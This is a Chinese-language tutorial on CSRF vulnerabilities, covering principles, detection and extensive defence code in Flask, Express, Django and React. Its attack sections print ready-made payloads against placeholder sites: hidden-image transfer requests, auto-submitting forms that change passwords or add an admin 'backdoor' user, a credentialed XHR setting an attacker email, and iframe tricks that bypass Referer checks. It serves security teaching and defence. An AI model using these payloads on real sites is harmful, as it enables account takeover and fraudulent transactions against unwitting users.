CSRF漏洞详解 我将全面讲解CSRF(Cross-Site Request Forgery,跨站请求伪造)漏洞的原理、利用方式和防范措施。
一、CSRF漏洞原理 1.1 什么是CSRF CSRF是一种Web安全漏洞,攻击者诱导受害者在已登录的Web应用中执行非本意的操作。攻击者利用用户的身份凭证(如Cookie),在用户不知情的情况下发送恶意请求。
1.2 攻击原理 核心机制:
用户登录受信任网站A,浏览器保存Session Cookie
用户在未退出A的情况下访问恶意网站B
恶意网站B包含指向网站A的请求
浏览器自动携带网站A的Cookie发送请求
网站A无法区分请求是用户主动发起还是被伪造的
攻击流程图:
1 2 3 4 5 1. 用户登录 bank.com → 获得Session Cookie 2. 用户访问 evil.com(未退出bank.com) 3. evil.com 页面包含:<img src="http://bank.com/transfer?to=attacker&amount=10000"> 4. 浏览器自动发送请求到 bank.com,携带用户Cookie 5. bank.com 验证Cookie有效,执行转账操作
1.3 CSRF的前提条件
目标网站存在可预测的请求 :参数和URL可被猜测
基于Cookie的身份验证 :完全依赖Cookie进行身份认证
没有额外的验证机制 :无CSRF Token、验证码等
用户已登录目标网站 :浏览器中存在有效的Session
二、CSRF漏洞类型 2.1 GET型CSRF 最简单的CSRF攻击,通过GET请求执行操作。
示例场景:删除文章
1 2 3 4 5 http://example.com/delete_article?id=123 <img src ="http://example.com/delete_article?id=123" style ="display:none" >
2.2 POST型CSRF 通过POST请求执行操作,需要构造表单自动提交。
攻击代码示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 <html > <body > <h1 > 恭喜中奖!点击领取</h1 > <form id ="csrf-form" action ="http://bank.com/transfer" method ="POST" > <input type ="hidden" name ="to" value ="attacker" > <input type ="hidden" name ="amount" value ="10000" > </form > <script > document .getElementById ('csrf-form' ).submit (); </script > </body > </html >
2.3 JSON型CSRF 现代Web应用常用JSON格式传输数据。
攻击示例:
1 2 3 4 5 6 7 8 9 10 <script > var xhr = new XMLHttpRequest ();xhr.open ("POST" , "http://api.example.com/update_email" , true ); xhr.setRequestHeader ("Content-Type" , "application/json" ); xhr.withCredentials = true ; xhr.send (JSON .stringify ({ email : "attacker@evil.com" })); </script >
三、CSRF漏洞利用技巧 3.1 常见利用场景 1. 修改用户信息
1 2 3 4 5 6 7 8 9 <form action ="http://example.com/profile/update" method ="POST" > <input type ="hidden" name ="email" value ="hacker@evil.com" > </form > <form action ="http://example.com/change_password" method ="POST" > <input type ="hidden" name ="new_password" value ="hacked123" > </form >
2. 执行敏感操作
1 2 3 4 5 6 7 8 9 <img src ="http://bank.com/transfer?to=attacker&amount=5000" > <form action ="http://admin.example.com/add_user" method ="POST" > <input type ="hidden" name ="username" value ="backdoor" > <input type ="hidden" name ="role" value ="admin" > </form >
3. 社交网络攻击
1 2 3 4 5 6 7 8 9 <img src ="http://social.com/follow?user_id=attacker" > <form action ="http://social.com/send_message" method ="POST" > <input type ="hidden" name ="to" value ="victim" > <input type ="hidden" name ="message" value ="钓鱼链接..." > </form >
3.2 绕过防护技巧 1. 绕过Referer检查
1 2 3 4 5 6 7 8 9 10 <iframe src ="data:text/html,<form action='http://target.com/action' method='POST'> <input name='param' value='malicious'></form><script>document.forms[0].submit()</script>" ></iframe > <iframe src ="about:blank" name ="csrf-frame" > </iframe > <form action ="http://target.com/action" method ="POST" target ="csrf-frame" > <input name ="param" value ="malicious" > </form >
2. 利用Flash/PDF的跨域特性 (已过时但值得了解)
3. 结合XSS漏洞 如果网站存在XSS漏洞,可以直接在目标域执行CSRF攻击,绕过同源策略。
3.3 自动化利用工具 CSRFTester、Burp Suite 等工具可以:
自动检测CSRF漏洞
生成POC(Proof of Concept)代码
批量测试接口
四、CSRF漏洞检测 4.1 手工检测步骤 步骤1:识别敏感操作 找出修改数据、执行交易等敏感功能的请求。
步骤2:分析请求特征
1 2 3 4 - 请求方法:GET/POST - 参数:是否可预测 - 身份验证:仅依赖Cookie? - 防护措施:是否有Token、Referer检查
步骤3:构造POC 创建独立HTML页面模拟攻击请求。
步骤4:测试验证
1 2 3 1. 在浏览器A登录目标网站 2. 在浏览器B(或新标签页)打开POC页面 3. 观察操作是否成功执行
4.2 检测清单 1 2 3 4 5 6 7 □ 敏感操作是否有CSRF Token? □ Token是否与用户Session绑定? □ Token是否在每次请求后更新? □ 是否验证Referer/Origin头? □ 是否使用SameSite Cookie属性? □ 是否有二次验证(验证码、密码确认)? □ API是否使用自定义Header?
五、CSRF防范措施 5.1 CSRF Token(最有效) 原理: 生成随机不可预测的Token,验证请求的合法性。
实现方式:
后端生成Token(Python/Flask示例):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from flask import Flask, session, requestimport secretsapp = Flask(__name__) app.secret_key = 'your-secret-key' @app.route('/form' ) def show_form (): csrf_token = secrets.token_hex(32 ) session['csrf_token' ] = csrf_token return f''' <form method="POST" action="/submit"> <input type="hidden" name="csrf_token" value="{csrf_token} "> <input type="text" name="data"> <button type="submit">提交</button> </form> ''' @app.route('/submit' , methods=['POST' ] ) def submit (): token = request.form.get('csrf_token' ) if token != session.get('csrf_token' ): return "CSRF验证失败" , 403 return "提交成功"
前端使用Token(JavaScript/AJAX):
1 2 3 4 5 6 7 8 9 10 11 12 const csrfToken = document .querySelector ('meta[name="csrf-token"]' ).content ;fetch ('/api/update' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' , 'X-CSRF-Token' : csrfToken }, body : JSON .stringify ({ data : 'value' }) });
Token实现要点:
Token必须随机且不可预测
Token应与用户Session绑定
Token应设置有效期
每次敏感操作应验证Token
Token不应出现在URL中(防止泄露)
5.2 验证Referer/Origin头 原理: 检查请求来源是否为可信域名。
实现示例(Node.js/Express):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 app.use ((req, res, next ) => { const referer = req.get ('Referer' ); const origin = req.get ('Origin' ); const allowedDomains = ['https://example.com' , 'https://www.example.com' ]; if (req.method === 'POST' || req.method === 'PUT' || req.method === 'DELETE' ) { const requestOrigin = origin || (referer ? new URL (referer).origin : null ); if (!requestOrigin || !allowedDomains.includes (requestOrigin)) { return res.status (403 ).send ('禁止的请求来源' ); } } next (); });
注意事项:
Referer可能被浏览器隐私设置阻止
某些代理服务器会移除Referer
应作为辅助防护,不应单独依赖
5.3 SameSite Cookie属性 原理: 限制Cookie在跨站请求中的发送。
设置方式:
1 2 3 4 5 Set-Cookie : sessionid=abc123; SameSite=Strict; Secure; HttpOnly# Strict: 完全禁止跨站发送Cookie # Lax: 允许部分跨站场景(导航GET请求) # None: 允许跨站(需配合Secure使用)
代码示例(各语言):
1 2 response.set_cookie('session' , value, samesite='Strict' , secure=True , httponly=True )
1 2 3 4 5 6 res.cookie ('session' , value, { sameSite : 'strict' , secure : true , httpOnly : true });
1 2 3 4 5 6 setcookie ('session' , $value , [ 'samesite' => 'Strict' , 'secure' => true , 'httponly' => true ]);
SameSite选择建议:
Strict :最安全,适用于银行等高敏感网站
Lax :平衡安全与可用性,适合大多数场景
None :需要跨站使用Cookie时(需HTTPS)
5.4 双重验证机制 1. 验证码
1 2 3 4 5 6 7 8 <form method ="POST" action ="/transfer" > <input type ="text" name ="amount" > <img src ="/captcha" id ="captcha-img" > <input type ="text" name ="captcha" placeholder ="验证码" > <button type ="submit" > 转账</button > </form >
2. 密码确认
1 2 3 4 5 6 7 <form method ="POST" action ="/change_password" > <input type ="password" name ="current_password" placeholder ="当前密码" > <input type ="password" name ="new_password" placeholder ="新密码" > <button type ="submit" > 修改</button > </form >
3. 短信/邮件验证
1 2 3 4 5 6 7 8 9 def send_verification_code (user ): code = generate_random_code() session['verification_code' ] = code send_sms(user.phone, f"验证码:{code} " ) if request.form['code' ] != session.get('verification_code' ): return "验证码错误" , 403
5.5 自定义请求头 原理: 利用CORS限制,简单请求无法携带自定义Header。
实现示例:
1 2 3 4 5 6 7 8 9 fetch ('/api/action' , { method : 'POST' , headers : { 'X-Requested-With' : 'XMLHttpRequest' , 'X-Custom-Header' : 'application-specific-value' }, body : JSON .stringify (data) });
1 2 3 4 5 6 @app.before_request def check_custom_header (): if request.method in ['POST' , 'PUT' , 'DELETE' ]: if request.headers.get('X-Requested-With' ) != 'XMLHttpRequest' : abort(403 )
5.6 重新认证敏感操作 对高风险操作要求重新登录:
1 2 3 4 5 6 7 8 9 10 @app.route('/delete_account' , methods=['POST' ] ) def delete_account (): last_auth = session.get('last_auth_time' ) if not last_auth or time.time() - last_auth > 300 : return redirect('/re-authenticate?next=/delete_account' ) delete_user_account(current_user) return "账户已删除"
六、综合防护方案 6.1 多层防护策略 1 2 3 4 5 6 7 第一层:SameSite Cookie(基础防护) ↓ 第二层:CSRF Token验证(核心防护) ↓ 第三层:Referer/Origin检查(辅助验证) ↓ 第四层:敏感操作二次确认(高风险保护)
6.2 完整防护代码示例 后端(Python/Django):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from django.middleware.csrf import get_tokenfrom django.views.decorators.csrf import csrf_protect@csrf_protect def sensitive_action (request ): if request.method == 'POST' : referer = request.META.get('HTTP_REFERER' , '' ) if not referer.startswith(request.scheme + '://' + request.get_host()): return HttpResponse('Invalid referer' , status=403 ) password = request.POST.get('confirm_password' ) if not request.user.check_password(password): return HttpResponse('密码错误' , status=403 ) perform_sensitive_operation() return HttpResponse('操作成功' )
前端(React示例):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import React , { useState, useEffect } from 'react' ;function SensitiveForm ( ) { const [csrfToken, setCsrfToken] = useState ('' ); useEffect (() => { fetch ('/api/csrf-token' ) .then (res => res.json ()) .then (data => setCsrfToken (data.token )); }, []); const handleSubmit = async (e ) => { e.preventDefault (); const response = await fetch ('/api/sensitive-action' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' , 'X-CSRF-Token' : csrfToken, 'X-Requested-With' : 'XMLHttpRequest' }, credentials : 'same-origin' , body : JSON .stringify ({ data : 'value' , confirm_password : document .getElementById ('password' ).value }) }); if (response.ok ) { alert ('操作成功' ); } }; return ( <form onSubmit ={handleSubmit} > <input type ="password" id ="password" placeholder ="确认密码" /> <button type ="submit" > 提交</button > </form > ); }
七、常见错误和陷阱 7.1 防护中的常见错误 ❌ ** 错误1:Token存储在Cookie中**
1 2 document .cookie = "csrf_token=" + token;
✅ ** 正确:Token应存储在Session或HTML中**
1 <meta name ="csrf-token" content ="random-token-value" >
❌ ** 错误2:GET请求执行敏感操作**
1 2 3 4 @app.route('/delete/<id>' ) def delete_item (id ): delete(id )
✅ ** 正确:使用POST/DELETE等方法**
1 2 3 @app.route('/delete/<id>' , methods=['POST' , 'DELETE' ] ) def delete_item (id ): delete(id )
❌ ** 错误3:Token所有用户共用**
1 2 GLOBAL_CSRF_TOKEN = "fixed-token-123"
✅ ** 正确:每个Session独立Token**
1 session['csrf_token' ] = secrets.token_hex(32 )
7.2 测试时的注意事项 1 2 3 4 5 6 7 测试清单: □ 移除Token参数,请求是否被拒绝? □ 修改Token值,请求是否被拒绝? □ 使用其他用户的Token,是否被拒绝? □ 重放已使用的Token,是否被拒绝? □ 跨域请求是否正确阻止? □ SameSite Cookie配置是否生效?
八、总结与最佳实践 核心要点
使用CSRF Token 是最有效的防护手段
启用SameSite Cookie 提供基础防护
验证Referer/Origin 作为辅助措施
敏感操作 应要求二次验证
避免GET请求 修改数据
使用自定义Header 增强API安全
开发建议
使用成熟的Web框架(Django、Rails、Spring等),自动提供CSRF保护
定期进行安全测试和代码审查
对开发人员进行安全培训
保持框架和依赖库更新
记录和监控可疑的CSRF攻击尝试
资源推荐
OWASP CSRF防护速查表 :详细的防护指南
Burp Suite :专业的Web安全测试工具
各框架文档 :查阅具体实现细节